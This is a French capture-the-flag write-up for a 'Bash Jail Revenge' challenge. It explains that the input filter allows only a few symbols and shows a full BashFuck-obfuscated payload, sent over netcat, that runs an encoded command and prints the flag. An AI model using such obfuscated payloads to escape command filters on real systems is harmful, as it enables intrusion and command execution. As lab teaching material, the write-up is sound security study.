Bash Jail Revenge

Catégorie: Système Difficulté: - Flag: CTFREI{b45h_j41l5_c4n_b3_w31rd_:0}

Challenge

Description


Honteuse la Bash Jail d'avant...

Tente maintenant de faire quelque chose sur celle-là !

Connexion: nc intro.ctfrei.fr 4447

Solution

Dans le script donné, à la ligne 8 la condition est :

all(char in allowed for char in code)

Cela nous oblige à n'utiliser que les caractères !#$'()<>\{}. Cela fait penser aux langages ésotériques comme le BrainFuck ou le JSFuck, qui consistent à n'écrire du code qu'avec un nombre limité de caractères.

Ça tombe bien, le BashFuck existe, et le site BashFuck Payload permet de convertir des commandes. Il suffit ensuite de choisir le payload qui correspond à notre charset autorisé :

$ nc intro.ctfrei.fr 4447
Bienvenue dans ma bash jail !
Essaie d'exéc une commande pour récupérer le flag si t'es chaud :p
>>> ${!#}<<<${!#}\<\<\<\$\'\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${##}))\\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${#}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${##}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\'
CTFREI{b45h_j41l5_c4n_b3_w31rd_:0}

Dernière mise à jour

Cet article vous a-t-il été utile ?